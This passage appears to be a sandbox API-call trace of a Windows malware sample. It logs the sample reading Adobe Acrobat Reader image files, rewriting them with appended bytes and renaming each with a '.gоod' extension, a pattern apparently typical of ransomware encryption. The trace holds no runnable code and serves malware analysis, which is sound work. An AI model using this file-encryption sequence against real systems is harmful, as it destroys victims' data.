0x61c [0156.895] GetFileType (hFile=0x61c) returned 0x1 [0156.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.895] GetFileType (hFile=0x61c) returned 0x1 [0156.895] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x2890 [0156.895] WriteFile (in: hFile=0x61c, lpBuffer=0x34fbd48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x34fbd48*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0156.896] CloseHandle (hObject=0x61c) returned 1 [0156.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x7f [0156.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0156.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.896] GetFileType (hFile=0x61c) returned 0x1 [0156.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.897] GetFileType (hFile=0x61c) returned 0x1 [0156.897] ReadFile (in: hFile=0x61c, lpBuffer=0x34ff1c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x34ff1c0*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0157.287] CloseHandle (hObject=0x61c) returned 1 [0157.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x7f [0157.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0157.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0157.287] GetFileType (hFile=0x61c) returned 0x1 [0157.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0157.287] GetFileType (hFile=0x61c) returned 0x1 [0157.287] WriteFile (in: hFile=0x61c, lpBuffer=0x3391a00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3391a00*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0157.288] CloseHandle (hObject=0x61c) returned 1 [0157.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x7f [0157.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png.gоod", lpFilePart=0x0) returned 0x84 [0157.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0157.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x59f74a13, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x28a0)) returned 1 [0157.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0157.288] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png.gоod")) returned 1 [0157.289] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", lpFilePart=0x0) returned 0x73 [0157.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0157.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), fInfoLevelId=0x0, lpFileInformation=0x349fee0 | out: lpFileInformation=0x349fee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c)) returned 1 [0157.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0157.289] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", lpFilePart=0x0) returned 0x73 [0157.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0157.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0157.289] GetFileType (hFile=0x61c) returned 0x1 [0157.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0157.289] GetFileType (hFile=0x61c) returned 0x1 [0157.289] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0157.289] ReadFile (in: hFile=0x61c, lpBuffer=0x34a03a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x34a03a8*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0157.824] CloseHandle (hObject=0x61c) returned 1 [0157.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", lpFilePart=0x0) returned 0x73 [0157.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0157.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0157.828] GetFileType (hFile=0x61c) returned 0x1 [0157.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0157.828] GetFileType (hFile=0x61c) returned 0x1 [0157.828] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x4d8c [0157.828] WriteFile (in: hFile=0x61c, lpBuffer=0x33f2df0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x33f2df0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0157.829] CloseHandle (hObject=0x61c) returned 1 [0157.829] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", lpFilePart=0x0) returned 0x73 [0157.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0157.829] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0157.829] GetFileType (hFile=0x61c) returned 0x1 [0157.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0157.829] GetFileType (hFile=0x61c) returned 0x1 [0157.829] ReadFile (in: hFile=0x61c, lpBuffer=0x33f5408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x33f5408*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0157.876] CloseHandle (hObject=0x61c) returned 1 [0157.876] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", lpFilePart=0x0) returned 0x73 [0157.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0157.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0157.876] GetFileType (hFile=0x61c) returned 0x1 [0157.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0157.876] GetFileType (hFile=0x61c) returned 0x1 [0157.876] WriteFile (in: hFile=0x61c, lpBuffer=0x33f4108*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x33f4108*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0157.876] CloseHandle (hObject=0x61c) returned 1 [0157.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif", lpFilePart=0x0) returned 0x73 [0157.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif.gоod", lpFilePart=0x0) returned 0x78 [0157.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0157.877] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5a4f7f9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c)) returned 1 [0158.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0158.800] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif.gоod")) returned 1 [0159.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", lpFilePart=0x0) returned 0x78 [0159.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0159.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png"), fInfoLevelId=0x0, lpFileInformation=0x353c610 | out: lpFileInformation=0x353c610*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238)) returned 1 [0159.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0159.257] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", lpFilePart=0x0) returned 0x78 [0159.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0159.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.257] GetFileType (hFile=0x61c) returned 0x1 [0159.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0159.257] GetFileType (hFile=0x61c) returned 0x1 [0159.257] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x238 [0159.257] ReadFile (in: hFile=0x61c, lpBuffer=0x35bb948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x35bb948*, lpNumberOfBytesRead=0x1fdeaf88*=0x238, lpOverlapped=0x0) returned 1 [0159.259] CloseHandle (hObject=0x61c) returned 1 [0159.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", lpFilePart=0x0) returned 0x78 [0159.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0159.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.287] GetFileType (hFile=0x61c) returned 0x1 [0159.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0159.287] GetFileType (hFile=0x61c) returned 0x1 [0159.287] WriteFile (in: hFile=0x61c, lpBuffer=0x3633ba8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x3633ba8*, lpNumberOfBytesWritten=0x1fdeae98*=0x240, lpOverlapped=0x0) returned 1 [0159.290] CloseHandle (hObject=0x61c) returned 1 [0159.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png", lpFilePart=0x0) returned 0x78 [0159.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png.gоod", lpFilePart=0x0) returned 0x7d [0159.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0159.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5b291e51, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0159.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0159.290] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png.gоod")) returned 1 [0159.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", lpFilePart=0x0) returned 0x78 [0159.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0159.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png"), fInfoLevelId=0x0, lpFileInformation=0x3634f70 | out: lpFileInformation=0x3634f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4)) returned 1 [0159.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0159.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", lpFilePart=0x0) returned 0x78 [0159.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0159.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.292] GetFileType (hFile=0x61c) returned 0x1 [0159.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0159.292] GetFileType (hFile=0x61c) returned 0x1 [0159.292] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x1fdeb058 | out: lpFileSizeHigh=0x1fdeb058*=0x0) returned 0x7e4 [0159.292] ReadFile (in: hFile=0x61c, lpBuffer=0x3635ae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeaf88, lpOverlapped=0x0 | out: lpBuffer=0x3635ae0*, lpNumberOfBytesRead=0x1fdeaf88*=0x7e4, lpOverlapped=0x0) returned 1 [0159.353] CloseHandle (hObject=0x61c) returned 1 [0159.888] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", nBufferLength=0x105, lpBuffer=0x1fdea990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png", lpFilePart=0x0) returned 0x78 [0159.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaeb0) returned 1 [0159.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 